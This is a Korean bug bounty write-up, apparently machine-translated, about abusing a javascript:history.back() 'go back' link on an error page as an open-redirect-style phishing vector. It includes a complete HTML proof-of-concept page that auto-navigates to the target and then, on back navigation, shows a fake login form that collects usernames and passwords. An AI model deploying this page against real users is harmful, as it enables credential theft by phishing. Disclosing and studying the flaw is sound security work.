오픈 리디렉션으로 Javascript:history.back() 남용

Apr 24 2023
안녕하세요 해커 여러분, 오늘 흥미로운 버그에 대해 말씀드리겠습니다. 심각도가 낮은 버그이지만 이 버그를 통해 배울 수 있을 것 같습니다. 시작하겠습니다. 브라우저에서 "뒤로" 버튼을 클릭했는데 악성 페이지로 리디렉션된 적이 있습니까? 이는 공격자가 javascript:history의 취약점을 악용하기 위해 사용하는 일반적인 전술입니다.

안녕하세요 해커 여러분,

오늘은 흥미로운 버그에 대해 말씀드리겠습니다. 심각도가 낮은 버그이지만 이 버그를 통해 배울 수 있을 것 같습니다. 시작하겠습니다.

브라우저에서 "뒤로" 버튼을 클릭했는데 악성 페이지로 리디렉션된 적이 있습니까?

이것은 공격자가 기능의 취약점을 악용하기 위해 사용하는 일반적인 전술입니다 javascript:history.back(). 이 javascript:history.back()기능은 사용자가 이전 페이지로 다시 이동할 수 있도록 하는 웹 애플리케이션의 유용한 기능입니다. 그러나 공격자가 브라우저 기록을 조작하여 사용자를 악성 페이지로 리디렉션하는 데 사용할 수도 있습니다.

나는 RDP 프로그램에서 사냥을 하다가 돌아가기 링크와 함께 찾을 수 없음 오류를 표시하는 URL을 찾았고 해당 페이지에는 기능이 있습니다 javascript:history.back().

그런 다음 이것을 악용하여 리디렉션 취약점을 열 수 있다는 것을 금방 깨달았습니다.

다음은 내가 한 방법에 대한 개념 증명입니다.

먼저 로컬 컴퓨터에서 HTML 페이지를 호스팅했습니다.

페이지에는 다음 코드가 있습니다.

<html>
<head>
 <title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
 <div id="forward">
 <a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
 <h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
 <form action="process_login.php" method="post">
 <label for="username">Username:</label>
 <input type="text" id="username" name="username"><br><br>
 
 <label for="password">Password:</label>
 <input type="password" id="password" name="password"><br><br>
 
 <input type="submit" value="Login">
 </form>
 </div>
<script>
function hide(id) {
 document.getElementById(id).style.display = 'none';
}
function show(id) {
 document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
 if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
 hide("forward");
 show("phish");
 } else {
 hide("phish");
 show("forward");
 document.querySelector("#forward a").click();
 }
});
</script>
</body>
</html>

https://redacted.com/locale/redirect?locale=en

그리고 사용자는 돌아갈 수 있는 링크와 함께 다음과 같은 오류를 받게 됩니다.

사용자는 일부 오류가 발생했다고 생각하고 돌아가기 링크를 클릭하지만 이 경우 사용자는 이미 악성 페이지에서 리디렉션되었습니다. 이 기능은 이전 페이지가 동일한 도메인에 있는지 여부를 확인하지 않습니다. 이로 인해 사용자를 악의적인 공격자의 페이지로 이동합니다.

이를 사용하여 공격자는 암호 및 기타 개인 정보와 같은 민감한 정보를 훔칠 수 있습니다.

오픈 리다이렉트 취약점과 같은 중간 심각도의 버그입니다. 나는 이것을 웹 사이트에 보고했지만 그들의 프로그램은 중단되었지만 여전히 이것은 모든 웹 사이트에서 쉽게 찾아서 보고할 수 있는 쉬운 버그입니다.

원하는 경우 이 버그에 대한 전체 POC를 제공할 수 있습니다. Twitter 또는 Instagram에서 메시지를 보낼 수 있습니다.

즐거운 사냥 여행 되세요, 안녕

아제이 자착 :)

나를 따라와!

트위터-https://twitter.com/Ajay_jachak24

링크드인-https://www.linkedin.com/in/ajay-jachak-990964212/

인스 타 그램-https://www.instagram.com/ajax.pvt/